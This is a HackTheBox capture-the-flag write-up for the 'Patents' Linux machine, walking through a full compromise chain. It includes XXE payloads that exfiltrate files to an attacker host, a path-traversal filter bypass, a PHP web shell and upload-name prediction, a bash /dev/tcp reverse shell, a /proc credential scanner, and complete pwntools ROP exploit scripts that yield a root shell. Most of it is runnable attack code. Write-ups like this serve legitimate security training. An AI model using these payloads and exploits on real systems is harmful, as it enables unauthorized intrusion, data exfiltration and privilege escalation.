HTB: Patents Writeup
Patents - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Patents |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 14 May 2020 |
| IP Address | 10.129.44.96 |
| Author | gbyolo |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Patents is a hard-difficulty Linux machine that features a document conversion web application vulnerable to XML External Entity (XXE) injection through crafted Word documents. The XXE vulnerability is leveraged to exfiltrate PHP source code, revealing local file inclusion (LFI) vulnerabilities. By combining LFI with predictable upload file naming, remote code execution is achieved as www-data inside a Docker container. Lateral movement to container root is accomplished by discovering hardcoded credentials in a cron job’s environment variables through /proc filesystem enumeration. Finally, privilege escalation to host root requires recovering a deleted binary from a Git repository, reverse engineering it to identify a buffer overflow vulnerability in a custom LFM protocol server, and developing a ROP-based exploit to achieve arbitrary code execution.
TL;DR: XXE in DOCX upload → PHP filter exfiltration → LFI + upload hash prediction → RCE as www-data (container) → /proc cron enumeration → container root via su → Git repo recovery → buffer overflow analysis → ROP exploit → host root shell.
Reconnaissance
Port Scanning
# Initial TCP scannmap -sC -sV -T4 -p- 10.129.44.96Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.380/tcp open http Apache httpd 2.4.29 ((Ubuntu))8888/tcp open sun-answerbook?Three ports are exposed:
- 22/SSH - OpenSSH 7.7p1 (no obvious exploit vector)
- 80/HTTP - Apache 2.4.29 hosting a document conversion service
- 8888 - Custom service (identified later as
lfmserverusing a proprietary LFM protocol)
Service Enumeration
HTTP (Port 80)
The web application presents “MEOW Inc.” branding with a document upload feature for converting DOCX files to PDF format.
# Directory enumerationgobuster dir -u http://10.129.44.96 -w /usr/share/wordlists/dirb/common.txt -x php,txtKey findings:
/convert.php- File conversion handler/config.php- Configuration file/uploads/- Upload directory/release/UpdateDetails- Changelog file
The /release/UpdateDetails changelog reveals critical information:
Docx2Pdf App is ready and functionalSupports parsing of entities in the custom folderLFI and Directory traversal vulnerabilities fixed in v1.0Fixes reverted in v1.1 (current version)This changelog confirms:
- XXE potential - “entities in the custom folder” suggests XML entity parsing in DOCX files
- LFI vulnerability - Directory traversal fixes were intentionally reverted, indicating an exploitable LFI
Port 8888
# Service identification attemptnc 10.129.44.96 8888The service uses a custom “LFM” (likely “Local File Management”) protocol with HTTP-like request/response structure. Full analysis deferred until container access is obtained.
Vulnerability Assessment
- XXE Injection - DOCX files are ZIP archives containing XML schemas; custom XML entities may be parsed server-side
- Local File Inclusion - Changelog explicitly states LFI/directory traversal protections were removed
- Predictable File Upload - Standard upload mechanisms may use predictable naming schemes
- Custom Binary Service - Port 8888 runs a non-standard service, potential for memory corruption vulnerabilities
Initial Foothold
Stage 1: Out-of-Band XXE via DOCX Upload
Microsoft Word DOCX files are ZIP archives containing XML documents. The customXml/ folder within a DOCX archive allows arbitrary XML content, which the server may parse, creating an XXE attack surface.
Testing for XXE
# Create a base DOCX file (using Google Docs or MS Word)# Extract the archiveunzip test.docx -d docx_extracted/cd docx_extracted/
# Create customXml directory if it doesn't existmkdir -p customXml
# Create malicious XML entity referencing external DTDcat > customXml/item1.xml << 'EOF'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://10.10.14.X/test">%xxe;]>EOF
# Repackage as DOCXzip -r evil.docx *# Start HTTP server to catch callbackpython3 -m http.server 80Upload evil.docx through the web interface. The HTTP server receives a request for /test, confirming out-of-band XXE.
Data Exfiltration via XXE
To exfiltrate file contents, use a parameterized external DTD:
# Create DTD for data exfiltration (serve from attacker machine)cat > read.dtd << 'EOF'<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % read "<!ENTITY % exfil SYSTEM 'http://10.10.14.X/exfil?%file;'>">EOF<!-- Modified customXml/item1.xml --><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://10.10.14.X/read.dtd">%xxe;%read;]><foo>&exfil;</foo>The exfiltration chain works as follows:
item1.xmlloads the externalread.dtd- The DTD defines
%fileentity usingphp://filterwrapper to base64-encode target file %readentity embeds%fileinto an HTTP URL&exfil;entity reference triggers the HTTP request containing encoded data
# Receive base64-encoded /etc/passwd# GET /exfil?cm9vdDp4OjA6MDpyb... HTTP/1.0
# Decodeecho "cm9vdDp4OjA6MDpyb..." | base64 -dResult: /etc/passwd confirms user gbyolo:x:1000:1000.
Finding the Web Root
Standard Apache path /var/www/html/config.php fails to return data, suggesting non-standard document root.
# Exfiltrate Apache config# Modify read.dtd to target:# php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.confApache config reveals:
DocumentRoot /var/www/html/docx2pdfSource Code Exfiltration
# Modify read.dtd accordinglyDecoded config.php:
<?php# needed by convert.php$uploadir = 'letsgo/';# needed by getPatent.php# gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it's vulnerabledefine('PATENTS_DIR', '/patents/');?>Key findings:
- Uploads stored in
letsgo/directory - Vulnerable script:
getPatent_alphav1.0.php
The convert.php file is large and cannot be exfiltrated directly (URL length limits). Using zlib.deflate compression:
# Modified DTD for large files<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/docx2pdf/convert.php">Analyzed convert.php reveals:
// Upload naming scheme$uploadPath = 'uploads/' . hash('sha256', basename($_FILES['file']['name']) . time()) . '.docx';Files are stored as: uploads/<sha256(basename + timestamp)>.docx
The time() function returns the current Unix timestamp, which can be predicted by reading the HTTP Date header from the server’s response.
Stage 2: LFI to RCE
Identifying the LFI Vector
# Access the vulnerable scriptcurl "http://10.129.44.96/getPatent_alphav1.0.php?id=1"Returns a patent file. Testing for LFI:
# Simple traversal fails (filtered)curl "http://10.129.44.96/getPatent_alphav1.0.php?id=../../../etc/passwd"
# Filter bypass using ....// (nested traversal)curl "http://10.129.44.96/getPatent_alphav1.0.php?id=....//....//....//etc/passwd"Success - /etc/passwd is displayed. The ....// bypass defeats simple string replacement filters that convert ../ to empty string, leaving ../ after processing.
Log Poisoning Consideration
Attempted log poisoning via Apache access.log fails:
# Poison User-Agentcurl -A '<?php system($_GET["cmd"]); ?>' http://10.129.44.96/Problem: Apache escapes double quotes in logged User-Agent strings, resulting in:
<?php system(\$_GET[\"cmd\"]); ?>This creates a PHP parse error that permanently corrupts access.log, making it unusable for inclusion.
Alternative vectors like /proc/self/environ are not readable by www-data.
RCE via Predictable Upload Hash
Instead of log poisoning, exploit the predictable upload filename:
# Create a PHP backdoorcat > shell.php << 'EOF'<?php system($_GET['cmd']); ?>EOF
# Rename to trigger upload (the actual upload expects DOCX)# But we can upload a raw PHP file by manipulating the upload directly
# Upload via multipart formcurl -X POST -F "file=@shell.php" http://10.129.44.96/convert.php
# Note the Date header from response# Date: Tue, 21 Nov 2023 15:23:45 GMT# Convert to Unix timestamp: 1700580225# Calculate expected hashimport hashlibimport time
# Use timestamp from Date header (or current time during upload window)basename = "shell.php"timestamp = 1700580225 # Adjust based on Date header
for t in range(timestamp - 2, timestamp + 3): # 5-second window predicted_hash = hashlib.sha256(f"{basename}{t}".encode()).hexdigest() print(f"Time {t}: uploads/{predicted_hash}.php")# Include uploaded file via LFIcurl "http://10.129.44.96/getPatent_alphav1.0.php?id=....//uploads/<calculated_hash>.php&cmd=id"Result: Command execution as www-data.
Reverse Shell
# URL-encode reverse shell payload# Bash reverse shellbash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'
# Execute via LFIcurl "http://10.129.44.96/getPatent_alphav1.0.php?id=....//uploads/<hash>.php&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.X%2F4444%200%3E%261%27"# Listenernc -lvnp 4444Shell obtained as www-data inside a Docker container (evident from .dockerenv in root directory).
Privilege Escalation
Stage 1: Container www-data → Container Root
Process Monitoring
# Check for cron jobsps aux | grep cronA root cron job is active. To monitor all processes:
# Download pspy64 (process monitoring without root)# On attacker machine:python3 -m http.server 8000
# On target:cd /tmpcurl -O http://10.10.14.X:8000/pspy64chmod +x pspy64./pspy64Alternative: Manual /proc Enumeration
The agent used a Python script to scan /proc/[pid]/environ:
#!/usr/bin/env python3import osimport time
seen_pids = set()
while True: for pid in os.listdir('/proc'): if not pid.isdigit(): continue if pid in seen_pids: continue try: with open(f'/proc/{pid}/environ', 'r') as f: env = f.read() if 'PASSWORD' in env or 'PASS' in env: print(f"[+] PID {pid} environ:") print(env.replace('\x00', '\n')) print("-" * 60) seen_pids.add(pid) except: pass time.sleep(0.1)Output captures cron’s inline environment:
[+] PID XXXX environ:SHELL=/bin/bashPASSWORD=!gby0l0r0ck$$!...CMD=/opt/checker_client/run_file.shThe password !gby0l0r0ck$$! is exposed in the cron process environment.
Lateral Movement to Container Root
# Upgrade to PTY for supython3 -c 'import pty; pty.spawn("/bin/bash")'
# Use discovered passwordsu root# Password: !gby0l0r0ck$$!Access granted - now root inside the container.
Stage 2: Container Root → Host Root
Enumeration of /opt
# Inspect cron scriptscat /opt/checker_client/run_file.sh#!/bin/bashFOLDER=/var/www/html/docx2pdfFILE=/var/www/html/docx2pdf/convert.phpNEWFILE=$(python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD $FILE)# ... file integrity checking and restoration logicThe script communicates with 10.100.0.1:8888 (the host machine) using a custom LFM protocol via checker.py.
cat /opt/checker_client/checker.py# Key sections:INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"# Sends file hash to lfmserver# If corrupted, sends: GET /{} LFMThe LFM protocol uses HTTP-like syntax with custom verbs (CHECK, GET).
Git Repository Discovery
ls -la /usr/src/# drwxr-xr-x 3 root root 4096 /usr/src/lfm
cd /usr/src/lfmls -la# .git directory present# View commit historygit log --oneline7c66092 Removed meow files. THIS REPOSITORY IS ON SVNa900ccf Added last executable and README...The lfmserver binary was deleted in the most recent commit.
# Restore deleted binary from previous commitgit show HEAD~1:lfmserver > /tmp/lfmserverchmod +x /tmp/lfmserver
# Also recover READMEgit show HEAD~1:READMEREADME contents:
lfmserver' dynamic libraries:...NB: lfmserver was compiled against:- libc6: 2.28-0ubuntu1- libssl1.1: 1.1.1-1ubuntu2.1This version information is critical for ROP gadget compatibility.
# Transfer binary to attacker machine for analysis# On container:cat /tmp/lfmserver | base64
# On attacker:echo "<base64>" | base64 -d > lfmserverchmod +x lfmserverBinary Analysis
# Check protectionschecksec lfmserverRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)Key findings:
- NX enabled - Cannot execute shellcode on stack; requires ROP
- No PIE - Binary loaded at fixed address (0x400000), simplifies gadget addressing
- No canary - Stack buffer overflow can directly overwrite return address
- Partial RELRO - GOT entries can be read (useful for leaking libc addresses)
Reverse Engineering with Ghidra
# Open in Ghidraghidra lfmserverKey function analysis:
-
Authentication Check - Hardcoded credentials:
- Username:
lfmserver_user - Password:
!gby0l0r0ck$$!
- Username:
-
URL Decode Function (
FUN_00402db9):void url_decode(char *path, char *buf_128, int path_len) {// Decodes %XX sequences// VULNERABILITY: No bounds checking on buf_128 (128 bytes)// Input can exceed buffer size} -
Request Handler:
// Checks if requested file exists// If file exists and MD5 matches, returns "LFM 200 OK"// EXPLOITATION: Append null byte after filename to pass existence check// while allowing overflow payload after null byte
Buffer Overflow Details:
- Offset to RIP: 148 bytes (determined via pattern matching)
- Attack vector: URL-encoded payload in file path of
CHECKrequest - Bypass: Request existing file (
convert.php) followed by%00(null byte), then overflow payload- Null byte terminates string for
stat()call (file existence check) - Overflow data after null byte overwrites stack return address
- Null byte terminates string for
Exploit Development
Exploit Requirements:
- Libc leak - Required to defeat ASLR (libc base randomized)
- ROP chain - NX prevents shellcode execution
- File descriptor handling - Shell must use client socket (fd 6) for stdin/stdout
# Download matching libc for local testing# Ubuntu 18.04 libc 2.28-0ubuntu1wget http://launchpadlibrarian.net/365857916/libc6_2.28-0ubuntu1_amd64.debar x libc6_2.28-0ubuntu1_amd64.debtar xf data.tar.xzcp ./lib/x86_64-linux-gnu/libc-2.28.so ./libc.so.6Stage 1: Libc Leak via write() GOT
#!/usr/bin/env python3from pwn import *from urllib.parse import quote
context.arch = 'amd64'
# Gadgets (no PIE, addresses are fixed)pop_rdi = p64(0x0000000000405c4b) # pop rdi; ret;pop_rsi_r15 = p64(0x0000000000405c49) # pop rsi; pop r15; ret;
# Load binary to get PLT/GOT addressese = ELF("./lfmserver", checksec=False)write_plt = p64(e.plt['write'])socket_got = p64(e.got['socket'])
# ROP chain: write(6, socket@GOT, 0x23)# fd 6 = client socket (from process inspection)# 0x23 bytes = RDX value at crash (sufficient for address leak)payload = b"A" * 148payload += pop_rdi + p64(0x6) # fd = 6payload += pop_rsi_r15 + socket_got + b"B"*8 # buf = socket@GOT, junk for r15payload += write_plt
# URL encode (required by server's URL decode function)payload_encoded = quote(payload)
# Get MD5 of convert.php from containermd5_hash = "<redacted>" # Empty file for testing
# LFM protocol request# Null byte after convert.php allows overflow while passing file checkreq = f"CHECK /convert.php%00{payload_encoded} LFM\r\n"req += f"User=lfmserver_user\r\n"req += f"Password=!gby0l0r0ck$$!\r\n\r\n"req += f"{md5_hash}\n"
# Connect to lfmserverr = remote("10.129.44.96", 8888)r.send(req.encode())
# Receive responser.recvlines(4) # Skip protocol response headersr.recv(1) # Skip newlinesocket_libc = u64(r.recv(8))log.success(f"Leaked socket@libc: {hex(socket_libc)}")r.close()Stage 2: ROP to Shell
#!/usr/bin/env python3from pwn import *from urllib.parse import quote
context.arch = 'amd64'
# Gadgetspop_rdi = p64(0x0000000000405c4b)pop_rsi_r15 = p64(0x0000000000405c49)
# Binariese = ELF("./lfmserver", checksec=False)libc = ELF("./libc.so.6", checksec=False)
# --- Stage 1: Leak socket@libc ---write_plt = p64(e.plt['write'])socket_got = p64(e.got['socket'])
payload = b"A" * 148payload += pop_rdi + p64(0x6)payload += pop_rsi_r15 + socket_got + b"B"*8payload += write_plt
payload_encoded = quote(payload)md5_hash = "<redacted>" # Actual convert.php MD5
req = f"CHECK /convert.php%00{payload_encoded} LFM\r\n"req += f"User=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{md5_hash}\n"
r = remote("10.129.44.96", 8888)r.send(req.encode())r.recvlines(4)r.recv(1)socket_libc = u64(r.recv(8))log.success(f"Leaked socket@libc: {hex(socket_libc)}")r.close()
# Calculate libc baselibc.address = socket_libc - libc.symbols['socket']log.info(f"Libc base: {hex(libc.address)}")
# Find execvp and /bin/shexecvp_addr = libc.symbols['execvp']binsh_addr = next(libc.search(b"/bin/sh\x00"))dup2_plt = e.plt['dup2']
log.info(f"execvp: {hex(execvp_addr)}")log.info(f"/bin/sh: {hex(binsh_addr)}")
# --- Stage 2: ROP to shell ---# dup2(6, 0) - stdin# dup2(6, 1) - stdout# execvp("/bin/sh", NULL)
payload2 = b"A" * 148
# Duplicate socket fd to stdin (fd 0)payload2 += pop_rdi + p64(0x6)payload2 += pop_rsi_r15 + p64(0x0) + b"C"*8payload2 += p64(dup2_plt)
# Duplicate socket fd to stdout (fd 1)payload2 += pop_rdi + p64(0x6)payload2 += pop_rsi_r15 + p64(0x1) + b"D"*8payload2 += p64(dup2_plt)
# execvp("/bin/sh", NULL)payload2 += pop_rdi + p64(binsh_addr)payload2 += pop_rsi_r15 + p64(0x0) + b"E"*8payload2 += p64(execvp_addr)
payload2_encoded = quote(payload2)
req2 = f"CHECK /convert.php%00{payload2_encoded} LFM\r\n"req2 += f"User=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{md5_hash}\n"
# New connection for shellr = remote("10.129.44.96", 8888)r.send(req2.encode())r.interactive()Execution:
python3 exploit.py[+] Leaked socket@libc: 0x7fXXXXXXXXXX[*] Libc base: 0x7fXXXXXXXXXX[*] execvp: 0x7fXXXXXXXXXX[*] /bin/sh: 0x7fXXXXXXXXXX[*] Switching to interactive mode$ iduid=0(root) gid=0(root) groups=0(root)$ cat /root/root.txt<redacted>Root shell obtained on host machine via buffer overflow ROP exploit.
Attack Chain Summary
XXE in DOCX upload (customXml/item1.xml → external DTD) ↓PHP source exfiltration via php://filter (config.php, convert.php) ↓Predictable upload hash discovery (SHA256 of basename + timestamp) ↓LFI in getPatent_alphav1.0.php (....// filter bypass) ↓RCE as www-data via uploaded PHP file inclusion ↓/proc/[pid]/environ enumeration → root cron password (!gby0l0r0ck$$!) ↓Lateral movement: su to container root ↓Git repository analysis → recover deleted lfmserver binary ↓Reverse engineering → buffer overflow in URL decode (offset 148, no canary/PIE) ↓ROP exploit development (write() leak → dup2() + execvp() chain) ↓Host root shell via LFM protocol buffer overflowTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Web directory/file discovery |
curl | HTTP request manipulation and file exfiltration |
python3 | XXE payload crafting, exploit development |
git | Repository analysis and file recovery |
ghidra | Binary reverse engineering |
pwntools | ROP chain construction and exploit delivery |
checksec | Binary protection enumeration |
base64 | Encoding/decoding exfiltrated data |
| Custom Python scanner | /proc filesystem enumeration for credential discovery |
Key Learnings
Techniques Practiced
- Out-of-Band XXE Exploitation - Using external DTD to exfiltrate files via HTTP callbacks
- PHP Filter Chaining - Combining
php://filterwrappers (base64, zlib.deflate) to bypass size restrictions - LFI Filter Bypass - Nested path traversal (
....//) to defeat string replacement filters - Predictable Hash Exploitation - Using HTTP Date headers to predict
time()-based upload filenames - Process Environment Enumeration - Scanning
/proc/[pid]/environto capture ephemeral credential exposure - Git Repository Forensics - Recovering deleted files via commit history
- ROP Exploit Development - Multi-stage ROP chain with libc leak via GOT, followed by
dup2()fd manipulation andexecvp()shell spawn - Custom Protocol Analysis - Reverse engineering proprietary LFM protocol for exploit delivery
Lessons Learned
-
DOCX files are ZIP archives containing XML - Any application processing DOCX that parses custom XML is potentially vulnerable to XXE. The
customXml/folder provides an attacker-controlled injection point that may be overlooked in security reviews. -
PHP filters are powerful exfiltration tools - The
php://filterwrapper with chaining (convert.base64-encode,zlib.deflate) allows reading arbitrary files even when direct inclusion fails or output is truncated. Essential technique for XXE-to-LFI chains. -
Log poisoning has failure modes - Apache’s quote escaping can permanently corrupt
access.logwith PHP syntax errors. Always have alternative RCE vectors (e.g., session files, upload inclusions) rather than relying solely on log poisoning. -
Timestamp prediction is viable over HTTP - The
Dateheader provides server time accurate to the second. Fortime()-based randomness, testing a 5-10 second window around the Date header often succeeds. Combined with predictable hash algorithms (SHA256 of known string + time), uploaded files become locatable. -
Cron jobs leak secrets via /proc - Even without
pspy, scanning/proc/[pid]/environduring a cron’s execution window can capture inline environment variables (e.g.,PASSWORD=...in bash-ccommands). This technique works when process listing tools are unavailable. -
Git repositories persist deleted files - Developers often mistakenly believe
git rmremoves sensitive files. All commit history remains in.git/objects/. Always inspectgit logand usegit showto recover deleted binaries, credentials, or source code. -
Buffer overflow offset finding is critical - Using pattern generation (
pattern createin GEF/pwndbg) provides exact offset to saved RIP. Off-by-one errors in offset calculation will cause crashes instead of control flow hijacking. -
NX requires information leaks - With NX enabled, shellcode execution is impossible. The exploit must:
- Leak a libc address via GOT (using
write(),puts(), or similar) - Calculate libc base to locate gadgets (
/bin/sh,execvp,system) - Chain ROP gadgets to call libc functions
- Leak a libc address via GOT (using
-
File descriptor duplication is essential for remote shells - When exploiting network services, stdin/stdout default to server-side fds (0/1). Using
dup2(socket_fd, 0)anddup2(socket_fd, 1)redirects shell I/O to the attacker’s connection. Without this, shells will spawn but be unusable. -
Null byte injection bypasses string operations - Appending
%00after a valid filename allows: (a)stat()to succeed (checks up to null), (b) overflow payload to execute (processed after null). Classic technique combining filter bypass with exploitation. -
**Partial RELRO exp